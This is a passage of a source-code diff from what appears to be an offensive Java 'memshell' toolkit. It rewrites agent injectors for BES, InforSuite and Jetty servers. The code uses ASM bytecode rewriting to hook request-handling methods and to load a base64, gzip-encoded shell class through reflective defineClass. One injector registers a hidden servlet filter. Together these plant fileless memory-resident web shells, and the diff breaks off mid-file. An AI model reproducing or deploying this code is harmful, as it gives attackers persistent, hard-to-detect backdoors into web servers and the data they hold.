mv.visitJumpInsn(Opcodes.IFEQ, ifConditionFalse); + mv.visitInsn(Opcodes.RETURN); + mv.visitLabel(ifConditionFalse); + mv.visitLabel(tryEnd); + mv.visitJumpInsn(Opcodes.GOTO, skipCatchBlock); + mv.visitLabel(catchHandler); + mv.visitInsn(Opcodes.POP); + mv.visitLabel(skipCatchBlock); + } + + public void loadArgArray() { + mv.visitIntInsn(Opcodes.SIPUSH, argumentTypes.length); + mv.visitTypeInsn(Opcodes.ANEWARRAY, "java/lang/Object"); + for (int i = 0; i < argumentTypes.length; i++) { + mv.visitInsn(Opcodes.DUP); + push(i); + mv.visitVarInsn(argumentTypes[i].getOpcode(Opcodes.ILOAD), getArgIndex(i)); + mv.visitInsn(Type.getType(Object.class).getOpcode(Opcodes.IASTORE)); + } + } + + @SuppressWarnings("all") + public void push(final int value) { + if (value >= -1 && value <= 5) { + mv.visitInsn(Opcodes.ICONST_0 + value); + } else if (value >= Byte.MIN_VALUE && value <= Byte.MAX_VALUE) { + mv.visitIntInsn(Opcodes.BIPUSH, value); + } else if (value >= Short.MIN_VALUE && value <= Short.MAX_VALUE) { + mv.visitIntInsn(Opcodes.SIPUSH, value); + } else { + mv.visitLdcInsn(new Integer(value)); + } + } + + private int getArgIndex(final int arg) { + int index = 1; + for (int i = 0; i < arg; i++) { + index += argumentTypes[i].getSize(); + } + return index; + } + } + + @SuppressWarnings("all") + public static byte[] decodeBase64(String base64Str) { + Class decoderClass; + try { + decoderClass = Class.forName("java.util.Base64"); + Object decoder = decoderClass.getMethod("getDecoder").invoke(null); + return (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, base64Str); + } catch (Exception ignored) { + try { + decoderClass = Class.forName("sun.misc.BASE64Decoder"); + return (byte[]) decoderClass.getMethod("decodeBuffer", String.class).invoke(decoderClass.newInstance(), base64Str); + } catch (Exception e) { + throw new RuntimeException(e); + } + } + } + + @SuppressWarnings("all") + public static byte[] gzipDecompress(byte[] compressedData) { + ByteArrayOutputStream out = new ByteArrayOutputStream(); + GZIPInputStream gzipInputStream = null; + try { + gzipInputStream = new GZIPInputStream(new ByteArrayInputStream(compressedData)); + byte[] buffer = new byte[4096]; + int n; + while ((n = gzipInputStream.read(buffer)) > 0) { + out.write(buffer, 0, n); + } + return out.toByteArray(); + } catch (Exception e) { + throw new RuntimeException(e); + } finally { + try { + if (gzipInputStream != null) { + gzipInputStream.close(); + } + out.close(); + } catch (Exception ignored) { + } + } + } + + @SuppressWarnings("all") + public void defineTargetClass(ClassLoader loader) { + try { + loader.loadClass(getClassName()); + return; + } catch (ClassNotFoundException ignored) { + } + byte[] classBytecode = gzipDecompress(decodeBase64(getBase64String())); + try { + java.lang.reflect.Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class); + defineClass.setAccessible(true); + defineClass.invoke(loader, classBytecode, 0, classBytecode.length); + } catch (Exception ignored) { + } + } +} diff --git a/memshell/src/main/java/com/reajason/javaweb/memshell/injector/bes/BesContextValveAgentInjector.java b/memshell/src/main/java/com/reajason/javaweb/memshell/injector/bes/BesContextValveAgentInjector.java index b04e1598..82154f66 100644 --- a/memshell/src/main/java/com/reajason/javaweb/memshell/injector/bes/BesContextValveAgentInjector.java +++ b/memshell/src/main/java/com/reajason/javaweb/memshell/injector/bes/BesContextValveAgentInjector.java @@ -1,39 +1,28 @@ package com.reajason.javaweb.memshell.injector.bes; -import net.bytebuddy.agent.builder.AgentBuilder; -import net.bytebuddy.asm.Advice; -import net.bytebuddy.description.type.TypeDescription; -import net.bytebuddy.dynamic.DynamicType; -import net.bytebuddy.matcher.ElementMatchers; -import net.bytebuddy.utility.JavaModule; +import org.objectweb.asm.*; +import java.io.ByteArrayInputStream; +import java.io.ByteArrayOutputStream; +import java.lang.instrument.ClassFileTransformer; import java.lang.instrument.Instrumentation; import java.security.ProtectionDomain; - -import static net.bytebuddy.matcher.ElementMatchers.named; +import java.util.zip.GZIPInputStream; /** * @author ReaJason - * @since 2024/12/28 + * @since 2025/3/26 */ -public class BesContextValveAgentInjector implements AgentBuilder.Transformer { +public class BesContextValveAgentInjector extends ClassLoader implements ClassFileTransformer { + private static final String TARGET_CLASS = "com/bes/enterprise/webtier/core/DefaultContextValve"; + private static final String TARGET_METHOD_NAME = "invoke"; - static Class interceptorClass = null; - - static { - try { - interceptorClass = Class.forName(getClassName()); - } catch (ClassNotFoundException e) { - e.printStackTrace(); - } + public static String getClassName() { + return "{{advisorName}}"; } - @Override - public DynamicType.Builder transform(DynamicType.Builder builder, - TypeDescription typeDescription, - ClassLoader classLoader, JavaModule module, - ProtectionDomain protectionDomain) { - return builder.visit(Advice.to(interceptorClass).on(named("invoke").and(ElementMatchers.returns(void.class)))); + public static String getBase64String() { + return "{{base64String}}"; } public static void premain(String args, Instrumentation inst) throws Exception { @@ -44,21 +33,191 @@ public class BesContextValveAgentInjector implements AgentBuilder.Transformer { launch(inst); } - public static String getClassName() { - return "{{advisorName}}"; - } - private static void launch(Instrumentation inst) throws Exception { System.out.println("MemShell Agent is starting"); - new AgentBuilder.Default() - .ignore(ElementMatchers.none()) - .disableClassFormatChanges() - .with(AgentBuilder.RedefinitionStrategy.REDEFINITION) -// .with(AgentBuilder.Listener.StreamWriting.toSystemError().withErrorsOnly()) -// .with(AgentBuilder.Listener.StreamWriting.toSystemOut().withTransformationsOnly()) - .type(named("com.bes.enterprise.webtier.core.DefaultContextValve")) - .transform(new BesContextValveAgentInjector()) - .installOn(inst); + inst.addTransformer(new BesContextValveAgentInjector(), true); + for (Class allLoadedClass : inst.getAllLoadedClasses()) { + String name = allLoadedClass.getName(); + if (TARGET_CLASS.replace("/", ".").equals(name)) { + inst.retransformClasses(allLoadedClass); + } + } System.out.println("MemShell Agent is working at com.bes.enterprise.webtier.core.DefaultContextValve.invoke"); } -} \ No newline at end of file + + @Override + @SuppressWarnings("all") + public byte[] transform(final ClassLoader loader, String className, Class classBeingRedefined, + ProtectionDomain protectionDomain, byte[] bytes) { + if (TARGET_CLASS.equals(className)) { + defineTargetClass(loader); + try { + ClassReader cr = new ClassReader(bytes); + ClassWriter cw = new ClassWriter(cr, ClassWriter.COMPUTE_MAXS | ClassWriter.COMPUTE_FRAMES) { + @Override + protected ClassLoader getClassLoader() { + return loader; + } + }; + ClassVisitor cv = getClassVisitor(cw); + cr.accept(cv, ClassReader.EXPAND_FRAMES); + return cw.toByteArray(); + } catch (Exception e) { + e.printStackTrace(); + } + } + return bytes; + } + + @SuppressWarnings("all") + public static ClassVisitor getClassVisitor(ClassVisitor cv) { + return new ClassVisitor(Opcodes.ASM9, cv) { + @Override + public MethodVisitor visitMethod(int access, String name, String descriptor, + String signature, String[] exceptions) { + MethodVisitor mv = super.visitMethod(access, name, descriptor, signature, exceptions); + if (TARGET_METHOD_NAME.equals(name)) { + try { + Type[] argumentTypes = Type.getArgumentTypes(descriptor); + return new AgentShellMethodVisitor(mv, argumentTypes, getClassName()); + } catch (Exception e) { + e.printStackTrace(); + } + } + return mv; + } + }; + } + + public static class AgentShellMethodVisitor extends MethodVisitor { + private final Type[] argumentTypes; + private final String className; + + public AgentShellMethodVisitor(MethodVisitor mv, Type[] argTypes, String className) { + super(Opcodes.ASM9, mv); + this.argumentTypes = argTypes; + this.className = className; + } + + @Override + public void visitCode() { + loadArgArray(); + Label tryStart = new Label(); + Label tryEnd = new Label(); + Label catchHandler = new Label(); + Label ifConditionFalse = new Label(); + Label skipCatchBlock = new Label(); + mv.visitTryCatchBlock(tryStart, tryEnd, catchHandler, "java/lang/Throwable"); + + mv.visitLabel(tryStart); + String internalClassName = className.replace('.', '/'); + mv.visitTypeInsn(Opcodes.NEW, internalClassName); + mv.visitInsn(Opcodes.DUP); + mv.visitMethodInsn(Opcodes.INVOKESPECIAL, internalClassName, "", "()V", false); + mv.visitInsn(Opcodes.SWAP); + mv.visitMethodInsn(Opcodes.INVOKEVIRTUAL, + "java/lang/Object", + "equals", + "(Ljava/lang/Object;)Z", + false); + mv.visitJumpInsn(Opcodes.IFEQ, ifConditionFalse); + mv.visitInsn(Opcodes.RETURN); + mv.visitLabel(ifConditionFalse); + mv.visitLabel(tryEnd); + mv.visitJumpInsn(Opcodes.GOTO, skipCatchBlock); + mv.visitLabel(catchHandler); + mv.visitInsn(Opcodes.POP); + mv.visitLabel(skipCatchBlock); + } + + public void loadArgArray() { + mv.visitIntInsn(Opcodes.SIPUSH, argumentTypes.length); + mv.visitTypeInsn(Opcodes.ANEWARRAY, "java/lang/Object"); + for (int i = 0; i < argumentTypes.length; i++) { + mv.visitInsn(Opcodes.DUP); + push(i); + mv.visitVarInsn(argumentTypes[i].getOpcode(Opcodes.ILOAD), getArgIndex(i)); + mv.visitInsn(Type.getType(Object.class).getOpcode(Opcodes.IASTORE)); + } + } + + @SuppressWarnings("all") + public void push(final int value) { + if (value >= -1 && value <= 5) { + mv.visitInsn(Opcodes.ICONST_0 + value); + } else if (value >= Byte.MIN_VALUE && value <= Byte.MAX_VALUE) { + mv.visitIntInsn(Opcodes.BIPUSH, value); + } else if (value >= Short.MIN_VALUE && value <= Short.MAX_VALUE) { + mv.visitIntInsn(Opcodes.SIPUSH, value); + } else { + mv.visitLdcInsn(new Integer(value)); + } + } + + private int getArgIndex(final int arg) { + int index = 1; + for (int i = 0; i < arg; i++) { + index += argumentTypes[i].getSize(); + } + return index; + } + } + + @SuppressWarnings("all") + public static byte[] decodeBase64(String base64Str) { + Class decoderClass; + try { + decoderClass = Class.forName("java.util.Base64"); + Object decoder = decoderClass.getMethod("getDecoder").invoke(null); + return (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, base64Str); + } catch (Exception ignored) { + try { + decoderClass = Class.forName("sun.misc.BASE64Decoder"); + return (byte[]) decoderClass.getMethod("decodeBuffer", String.class).invoke(decoderClass.newInstance(), base64Str); + } catch (Exception e) { + throw new RuntimeException(e); + } + } + } + + @SuppressWarnings("all") + public static byte[] gzipDecompress(byte[] compressedData) { + ByteArrayOutputStream out = new ByteArrayOutputStream(); + GZIPInputStream gzipInputStream = null; + try { + gzipInputStream = new GZIPInputStream(new ByteArrayInputStream(compressedData)); + byte[] buffer = new byte[4096]; + int n; + while ((n = gzipInputStream.read(buffer)) > 0) { + out.write(buffer, 0, n); + } + return out.toByteArray(); + } catch (Exception e) { + throw new RuntimeException(e); + } finally { + try { + if (gzipInputStream != null) { + gzipInputStream.close(); + } + out.close(); + } catch (Exception ignored) { + } + } + } + + @SuppressWarnings("all") + public void defineTargetClass(ClassLoader loader) { + try { + loader.loadClass(getClassName()); + return; + } catch (ClassNotFoundException ignored) { + } + byte[] classBytecode = gzipDecompress(decodeBase64(getBase64String())); + try { + java.lang.reflect.Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class); + defineClass.setAccessible(true); + defineClass.invoke(loader, classBytecode, 0, classBytecode.length); + } catch (Exception ignored) { + } + } +} diff --git a/memshell/src/main/java/com/reajason/javaweb/memshell/injector/bes/BesContextValveAgentWithAsmInjector.java b/memshell/src/main/java/com/reajason/javaweb/memshell/injector/bes/BesContextValveAgentWithAsmInjector.java deleted file mode 100644 index 53c3d51d..00000000 --- a/memshell/src/main/java/com/reajason/javaweb/memshell/injector/bes/BesContextValveAgentWithAsmInjector.java +++ /dev/null @@ -1,97 +0,0 @@ -package com.reajason.javaweb.memshell.injector.bes; - -import org.objectweb.asm.*; - -import java.lang.instrument.ClassFileTransformer; -import java.lang.instrument.Instrumentation; -import java.lang.reflect.Constructor; -import java.security.ProtectionDomain; - -/** - * @author ReaJason - * @since 2025/3/26 - */ -public class BesContextValveAgentWithAsmInjector implements ClassFileTransformer { - private static final String TARGET_CLASS = "com/bes/enterprise/webtier/core/DefaultContextValve"; - private static final String TARGET_METHOD_NAME = "invoke"; - - static Constructor constructor = null; - - static { - try { - Class clazz = Class.forName(getClassName()); - constructor = clazz.getConstructors()[0]; - constructor.setAccessible(true); - } catch (Exception e) { - e.printStackTrace(); - } - } - - public BesContextValveAgentWithAsmInjector() { - } - - @Override - public byte[] transform(final ClassLoader loader, String className, Class classBeingRedefined, - ProtectionDomain protectionDomain, byte[] bytes) { - if (TARGET_CLASS.equals(className)) { - try { - ClassReader cr = new ClassReader(bytes); - ClassWriter cw = new ClassWriter(cr, ClassWriter.COMPUTE_MAXS | ClassWriter.COMPUTE_FRAMES) { - @Override - protected ClassLoader getClassLoader() { - return loader; - } - }; - ClassVisitor cv = getClassVisitor(cw); - cr.accept(cv, ClassReader.EXPAND_FRAMES); - return cw.toByteArray(); - } catch (Exception e) { - e.printStackTrace(); - } - } - return bytes; - } - - public static String getClassName() { - return "{{advisorName}}"; - } - - public static ClassVisitor getClassVisitor(ClassVisitor cv) { - return new ClassVisitor(Opcodes.ASM9, cv) { - @Override - public MethodVisitor visitMethod(int access, String name, String descriptor, - String signature, String[] exceptions) { - MethodVisitor mv = super.visitMethod(access, name, descriptor, signature, exceptions); - if (TARGET_METHOD_NAME.equals(name) && descriptor.endsWith(")V")) { - try { - Type[] argumentTypes = Type.getArgumentTypes(descriptor); - return (MethodVisitor) constructor.newInstance(mv, argumentTypes); - } catch (Exception e) { - e.printStackTrace(); - } - } - return mv; - } - }; - } - - public static void premain(String args, Instrumentation inst) throws Exception { - launch(inst); - } - - public static void agentmain(String args, Instrumentation inst) throws Exception { - launch(inst); - } - - private static void launch(Instrumentation inst) throws Exception { - System.out.println("MemShell Agent is starting"); - inst.addTransformer(new BesContextValveAgentWithAsmInjector(), true); - for (Class allLoadedClass : inst.getAllLoadedClasses()) { - String name = allLoadedClass.getName(); - if (TARGET_CLASS.replace("/", ".").equals(name)) { - inst.retransformClasses(allLoadedClass); - } - } - System.out.println("MemShell Agent is working at com.bes.enterprise.webtier.core.DefaultContextValve.invoke"); - } -} diff --git a/memshell/src/main/java/com/reajason/javaweb/memshell/injector/bes/BesFilterChainAgentInjector.java b/memshell/src/main/java/com/reajason/javaweb/memshell/injector/bes/BesFilterChainAgentInjector.java index 02756824..18b6d4e8 100644 --- a/memshell/src/main/java/com/reajason/javaweb/memshell/injector/bes/BesFilterChainAgentInjector.java +++ b/memshell/src/main/java/com/reajason/javaweb/memshell/injector/bes/BesFilterChainAgentInjector.java @@ -1,39 +1,28 @@ package com.reajason.javaweb.memshell.injector.bes; -import net.bytebuddy.agent.builder.AgentBuilder; -import net.bytebuddy.asm.Advice; -import net.bytebuddy.description.type.TypeDescription; -import net.bytebuddy.dynamic.DynamicType; -import net.bytebuddy.matcher.ElementMatchers; -import net.bytebuddy.utility.JavaModule; +import org.objectweb.asm.*; +import java.io.ByteArrayInputStream; +import java.io.ByteArrayOutputStream; +import java.lang.instrument.ClassFileTransformer; import java.lang.instrument.Instrumentation; import java.security.ProtectionDomain; - -import static net.bytebuddy.matcher.ElementMatchers.named; +import java.util.zip.GZIPInputStream; /** * @author ReaJason - * @since 2024/12/28 + * @since 2025/3/26 */ -public class BesFilterChainAgentInjector implements AgentBuilder.Transformer { +public class BesFilterChainAgentInjector implements ClassFileTransformer { + private static final String TARGET_CLASS = "com/bes/enterprise/webtier/core/ApplicationFilterChain"; + private static final String TARGET_METHOD_NAME = "doFilter"; - static Class interceptorClass = null; - - static { - try { - interceptorClass = Class.forName(getClassName()); - } catch (ClassNotFoundException e) { - e.printStackTrace(); - } + public static String getClassName() { + return "{{advisorName}}"; } - @Override - public DynamicType.Builder transform(DynamicType.Builder builder, - TypeDescription typeDescription, - ClassLoader classLoader, JavaModule module, - ProtectionDomain protectionDomain) { - return builder.visit(Advice.to(interceptorClass).on(named("doFilter"))); + public static String getBase64String() { + return "{{base64String}}"; } public static void premain(String args, Instrumentation inst) throws Exception { @@ -44,21 +33,191 @@ public class BesFilterChainAgentInjector implements AgentBuilder.Transformer { launch(inst); } - public static String getClassName() { - return "{{advisorName}}"; - } - private static void launch(Instrumentation inst) throws Exception { System.out.println("MemShell Agent is starting"); - new AgentBuilder.Default() - .ignore(ElementMatchers.none()) - .disableClassFormatChanges() - .with(AgentBuilder.RedefinitionStrategy.REDEFINITION) -// .with(AgentBuilder.Listener.StreamWriting.toSystemError().withErrorsOnly()) -// .with(AgentBuilder.Listener.StreamWriting.toSystemOut().withTransformationsOnly()) - .type(named("com.bes.enterprise.webtier.core.ApplicationFilterChain")) - .transform(new BesFilterChainAgentInjector()) - .installOn(inst); - System.out.println("MemShell Agent is working at com.bes.enterprise.webtier.core.ApplicationFilterChain.doFilter"); + inst.addTransformer(new BesFilterChainAgentInjector(), true); + for (Class allLoadedClass : inst.getAllLoadedClasses()) { + String name = allLoadedClass.getName(); + if (TARGET_CLASS.replace("/", ".").equals(name)) { + inst.retransformClasses(allLoadedClass); + System.out.println("MemShell Agent is working at com.bes.enterprise.webtier.core.ApplicationFilterChain.doFilter"); + } + } } -} \ No newline at end of file + + @Override + @SuppressWarnings("all") + public byte[] transform(final ClassLoader loader, String className, Class classBeingRedefined, + ProtectionDomain protectionDomain, byte[] bytes) { + if (TARGET_CLASS.equals(className)) { + defineTargetClass(loader); + try { + ClassReader cr = new ClassReader(bytes); + ClassWriter cw = new ClassWriter(cr, ClassWriter.COMPUTE_MAXS | ClassWriter.COMPUTE_FRAMES) { + @Override + protected ClassLoader getClassLoader() { + return loader; + } + }; + ClassVisitor cv = getClassVisitor(cw); + cr.accept(cv, ClassReader.EXPAND_FRAMES); + return cw.toByteArray(); + } catch (Exception e) { + e.printStackTrace(); + } + } + return bytes; + } + + @SuppressWarnings("all") + public static ClassVisitor getClassVisitor(ClassVisitor cv) { + return new ClassVisitor(Opcodes.ASM9, cv) { + @Override + public MethodVisitor visitMethod(int access, String name, String descriptor, + String signature, String[] exceptions) { + MethodVisitor mv = super.visitMethod(access, name, descriptor, signature, exceptions); + if (TARGET_METHOD_NAME.equals(name)) { + try { + Type[] argumentTypes = Type.getArgumentTypes(descriptor); + return new AgentShellMethodVisitor(mv, argumentTypes, getClassName()); + } catch (Exception e) { + e.printStackTrace(); + } + } + return mv; + } + }; + } + + public static class AgentShellMethodVisitor extends MethodVisitor { + private final Type[] argumentTypes; + private final String className; + + public AgentShellMethodVisitor(MethodVisitor mv, Type[] argTypes, String className) { + super(Opcodes.ASM9, mv); + this.argumentTypes = argTypes; + this.className = className; + } + + @Override + public void visitCode() { + loadArgArray(); + Label tryStart = new Label(); + Label tryEnd = new Label(); + Label catchHandler = new Label(); + Label ifConditionFalse = new Label(); + Label skipCatchBlock = new Label(); + mv.visitTryCatchBlock(tryStart, tryEnd, catchHandler, "java/lang/Throwable"); + + mv.visitLabel(tryStart); + String internalClassName = className.replace('.', '/'); + mv.visitTypeInsn(Opcodes.NEW, internalClassName); + mv.visitInsn(Opcodes.DUP); + mv.visitMethodInsn(Opcodes.INVOKESPECIAL, internalClassName, "", "()V", false); + mv.visitInsn(Opcodes.SWAP); + mv.visitMethodInsn(Opcodes.INVOKEVIRTUAL, + "java/lang/Object", + "equals", + "(Ljava/lang/Object;)Z", + false); + mv.visitJumpInsn(Opcodes.IFEQ, ifConditionFalse); + mv.visitInsn(Opcodes.RETURN); + mv.visitLabel(ifConditionFalse); + mv.visitLabel(tryEnd); + mv.visitJumpInsn(Opcodes.GOTO, skipCatchBlock); + mv.visitLabel(catchHandler); + mv.visitInsn(Opcodes.POP); + mv.visitLabel(skipCatchBlock); + } + + public void loadArgArray() { + mv.visitIntInsn(Opcodes.SIPUSH, argumentTypes.length); + mv.visitTypeInsn(Opcodes.ANEWARRAY, "java/lang/Object"); + for (int i = 0; i < argumentTypes.length; i++) { + mv.visitInsn(Opcodes.DUP); + push(i); + mv.visitVarInsn(argumentTypes[i].getOpcode(Opcodes.ILOAD), getArgIndex(i)); + mv.visitInsn(Type.getType(Object.class).getOpcode(Opcodes.IASTORE)); + } + } + + @SuppressWarnings("all") + public void push(final int value) { + if (value >= -1 && value <= 5) { + mv.visitInsn(Opcodes.ICONST_0 + value); + } else if (value >= Byte.MIN_VALUE && value <= Byte.MAX_VALUE) { + mv.visitIntInsn(Opcodes.BIPUSH, value); + } else if (value >= Short.MIN_VALUE && value <= Short.MAX_VALUE) { + mv.visitIntInsn(Opcodes.SIPUSH, value); + } else { + mv.visitLdcInsn(new Integer(value)); + } + } + + private int getArgIndex(final int arg) { + int index = 1; + for (int i = 0; i < arg; i++) { + index += argumentTypes[i].getSize(); + } + return index; + } + } + + @SuppressWarnings("all") + public static byte[] decodeBase64(String base64Str) { + Class decoderClass; + try { + decoderClass = Class.forName("java.util.Base64"); + Object decoder = decoderClass.getMethod("getDecoder").invoke(null); + return (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, base64Str); + } catch (Exception ignored) { + try { + decoderClass = Class.forName("sun.misc.BASE64Decoder"); + return (byte[]) decoderClass.getMethod("decodeBuffer", String.class).invoke(decoderClass.newInstance(), base64Str); + } catch (Exception e) { + throw new RuntimeException(e); + } + } + } + + @SuppressWarnings("all") + public static byte[] gzipDecompress(byte[] compressedData) { + ByteArrayOutputStream out = new ByteArrayOutputStream(); + GZIPInputStream gzipInputStream = null; + try { + gzipInputStream = new GZIPInputStream(new ByteArrayInputStream(compressedData)); + byte[] buffer = new byte[4096]; + int n; + while ((n = gzipInputStream.read(buffer)) > 0) { + out.write(buffer, 0, n); + } + return out.toByteArray(); + } catch (Exception e) { + throw new RuntimeException(e); + } finally { + try { + if (gzipInputStream != null) { + gzipInputStream.close(); + } + out.close(); + } catch (Exception ignored) { + } + } + } + + @SuppressWarnings("all") + public void defineTargetClass(ClassLoader loader) { + try { + loader.loadClass(getClassName()); + return; + } catch (ClassNotFoundException ignored) { + } + byte[] classBytecode = gzipDecompress(decodeBase64(getBase64String())); + try { + java.lang.reflect.Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class); + defineClass.setAccessible(true); + defineClass.invoke(loader, classBytecode, 0, classBytecode.length); + } catch (Exception ignored) { + } + } +} diff --git a/memshell/src/main/java/com/reajason/javaweb/memshell/injector/bes/BesFilterChainAgentWithAsmInjector.java b/memshell/src/main/java/com/reajason/javaweb/memshell/injector/bes/BesFilterChainAgentWithAsmInjector.java deleted file mode 100644 index 40b5212f..00000000 --- a/memshell/src/main/java/com/reajason/javaweb/memshell/injector/bes/BesFilterChainAgentWithAsmInjector.java +++ /dev/null @@ -1,97 +0,0 @@ -package com.reajason.javaweb.memshell.injector.bes; - -import org.objectweb.asm.*; - -import java.lang.instrument.ClassFileTransformer; -import java.lang.instrument.Instrumentation; -import java.lang.reflect.Constructor; -import java.security.ProtectionDomain; - -/** - * @author ReaJason - * @since 2025/3/26 - */ -public class BesFilterChainAgentWithAsmInjector implements ClassFileTransformer { - private static final String TARGET_CLASS = "com/bes/enterprise/webtier/core/ApplicationFilterChain"; - private static final String TARGET_METHOD_NAME = "doFilter"; - - static Constructor constructor = null; - - static { - try { - Class clazz = Class.forName(getClassName()); - constructor = clazz.getConstructors()[0]; - constructor.setAccessible(true); - } catch (Exception e) { - e.printStackTrace(); - } - } - - public BesFilterChainAgentWithAsmInjector() { - } - - @Override - public byte[] transform(final ClassLoader loader, String className, Class classBeingRedefined, - ProtectionDomain protectionDomain, byte[] bytes) { - if (TARGET_CLASS.equals(className)) { - try { - ClassReader cr = new ClassReader(bytes); - ClassWriter cw = new ClassWriter(cr, ClassWriter.COMPUTE_MAXS | ClassWriter.COMPUTE_FRAMES) { - @Override - protected ClassLoader getClassLoader() { - return loader; - } - }; - ClassVisitor cv = getClassVisitor(cw); - cr.accept(cv, ClassReader.EXPAND_FRAMES); - return cw.toByteArray(); - } catch (Exception e) { - e.printStackTrace(); - } - } - return bytes; - } - - public static String getClassName() { - return "{{advisorName}}"; - } - - public static ClassVisitor getClassVisitor(ClassVisitor cv) { - return new ClassVisitor(Opcodes.ASM9, cv) { - @Override - public MethodVisitor visitMethod(int access, String name, String descriptor, - String signature, String[] exceptions) { - MethodVisitor mv = super.visitMethod(access, name, descriptor, signature, exceptions); - if (TARGET_METHOD_NAME.equals(name)) { - try { - Type[] argumentTypes = Type.getArgumentTypes(descriptor); - return (MethodVisitor) constructor.newInstance(mv, argumentTypes); - } catch (Exception e) { - e.printStackTrace(); - } - } - return mv; - } - }; - } - - public static void premain(String args, Instrumentation inst) throws Exception { - launch(inst); - } - - public static void agentmain(String args, Instrumentation inst) throws Exception { - launch(inst); - } - - private static void launch(Instrumentation inst) throws Exception { - System.out.println("MemShell Agent is starting"); - inst.addTransformer(new BesFilterChainAgentWithAsmInjector(), true); - for (Class allLoadedClass : inst.getAllLoadedClasses()) { - String name = allLoadedClass.getName(); - if (TARGET_CLASS.replace("/", ".").equals(name)) { - inst.retransformClasses(allLoadedClass); - } - } - System.out.println("MemShell Agent is working at com.bes.enterprise.webtier.core.ApplicationFilterChain.doFilter"); - } -} diff --git a/memshell/src/main/java/com/reajason/javaweb/memshell/injector/inforsuite/InforSuiteFilterInjector.java b/memshell/src/main/java/com/reajason/javaweb/memshell/injector/inforsuite/InforSuiteFilterInjector.java index eb807e61..f64a542c 100644 --- a/memshell/src/main/java/com/reajason/javaweb/memshell/injector/inforsuite/InforSuiteFilterInjector.java +++ b/memshell/src/main/java/com/reajason/javaweb/memshell/injector/inforsuite/InforSuiteFilterInjector.java @@ -44,6 +44,10 @@ public class InforSuiteFilterInjector { return "{{base64Str}}"; } + /** + * com.cvicse.loong.enterprise.web.WebModule + * /usr/local/inforsuite/as/modules/web-glue.jar + */ public List getContext() throws Exception { List contexts = new ArrayList(); Set threads = Thread.getAllStackTraces().keySet(); @@ -59,12 +63,18 @@ public class InforSuiteFilterInjector { return contexts; } + private ClassLoader getWebAppClassLoader(Object context) { + try { + return ((ClassLoader) invokeMethod(context, "getClassLoader", null, null)); + } catch (Exception e) { + Object loader = invokeMethod(context, "getLoader", null, null); + return ((ClassLoader) invokeMethod(loader, "getClassLoader", null, null)); + } + } + @SuppressWarnings("all") private Object getShell(Object context) throws Exception { - ClassLoader classLoader = Thread.currentThread().getContextClassLoader(); - if (classLoader == null) { - classLoader = context.getClass().getClassLoader(); - } + ClassLoader classLoader = getWebAppClassLoader(context); try { return classLoader.loadClass(getClassName()).newInstance(); } catch (Exception e) { @@ -83,8 +93,9 @@ public class InforSuiteFilterInjector { log.warning("filter already exists"); return; } - Object filterDef = Class.forName("org.apache.catalina.deploy.FilterDef").newInstance(); - Object filterMap = Class.forName("org.apache.catalina.deploy.FilterMap").newInstance(); + ClassLoader contextClassLoader = context.getClass().getClassLoader(); + Object filterDef = contextClassLoader.loadClass("org.apache.catalina.deploy.FilterDef").newInstance(); + Object filterMap = contextClassLoader.loadClass("org.apache.catalina.deploy.FilterMap").newInstance(); invokeMethod(filterDef, "setFilterName", new Class[]{String.class}, new Object[]{filterName}); invokeMethod(filterDef, "setFilterClass", new Class[]{Class.class}, new Object[]{filter.getClass()}); invokeMethod(context, "addFilterDef", new Class[]{filterDef.getClass()}, new Object[]{filterDef}); @@ -97,7 +108,7 @@ public class InforSuiteFilterInjector { invokeMethod(context, "addFilterMap", new Class[]{filterMap.getClass()}, new Object[]{filterMap}); } - Constructor[] constructors = Class.forName("org.apache.catalina.core.ApplicationFilterConfig").getDeclaredConstructors(); + Constructor[] constructors =contextClassLoader.loadClass("org.apache.catalina.core.ApplicationFilterConfig").getDeclaredConstructors(); constructors[0].setAccessible(true); Object filterConfig = constructors[0].newInstance(context, filterDef); HashMap filterConfigs = null; diff --git a/memshell/src/main/java/com/reajason/javaweb/memshell/injector/jetty/JettyHandlerAgentInjector.java b/memshell/src/main/java/com/reajason/javaweb/memshell/injector/jetty/JettyHandlerAgentInjector.java index c86f8d28..0c980456 100644 --- a/memshell/src/main/java/com/reajason/javaweb/memshell/injector/jetty/JettyHandlerAgentInjector.java +++ b/memshell/src/main/java/com/reajason/javaweb/memshell/injector/jetty/JettyHandlerAgentInjector.java @@ -1,39 +1,37 @@ package com.reajason.javaweb.memshell.injector.jetty; -import net.bytebuddy.agent.builder.AgentBuilder; -import net.bytebuddy.asm.Advice; -import net.bytebuddy.description.type.TypeDescription; -import net.bytebuddy.dynamic.DynamicType; -import net.bytebuddy.matcher.ElementMatchers; -import net.bytebuddy.utility.JavaModule; +import org.objectweb.asm.*; +import java.io.ByteArrayInputStream; +import java.io.ByteArrayOutputStream; +import java.lang.instrument.ClassFileTransformer; import java.lang.instrument.Instrumentation; import java.security.ProtectionDomain; - -import static net.bytebuddy.matcher.ElementMatchers.named; +import java.util.Arrays; +import java.util.List; +import java.util.zip.GZIPInputStream; /** * @author ReaJason - * @since 2024/12/28 + * @since 2025/3/26 */ -public class JettyHandlerAgentInjector implements AgentBuilder.Transformer { +public class JettyHandlerAgentInjector implements ClassFileTransformer { + private static final List TARGET_CLASSES = Arrays.asList( + "org/eclipse/jetty/servlet/ServletHandler", + "org/eclipse/jetty/ee8/servlet/ServletHandler", + "org/eclipse/jetty/ee9/servlet/ServletHandler", + "org/eclipse/jetty/ee10/servlet/ServletHandler$Chain", + "org/mortbay/jetty/servlet/ServletHandler" + ); + private static String targetClassName = ""; + private static String targetMethodName = "doHandle"; - static Class interceptorClass = null; - - static { - try { - interceptorClass = Class.forName(getClassName()); - } catch (ClassNotFoundException e) { - e.printStackTrace(); - } + public static String getClassName() { + return "{{advisorName}}"; } - @Override - public DynamicType.Builder transform(DynamicType.Builder builder, - TypeDescription typeDescription, - ClassLoader classLoader, JavaModule module, - ProtectionDomain protectionDomain) { - return builder.visit(Advice.to(interceptorClass).on(named("doHandle"))); + public static String getBase64String() { + return "{{base64String}}"; } public static void premain(String args, Instrumentation inst) throws Exception { @@ -44,21 +42,256 @@ public class JettyHandlerAgentInjector implements AgentBuilder.Transformer { launch(inst); } - public static String getClassName() { - return 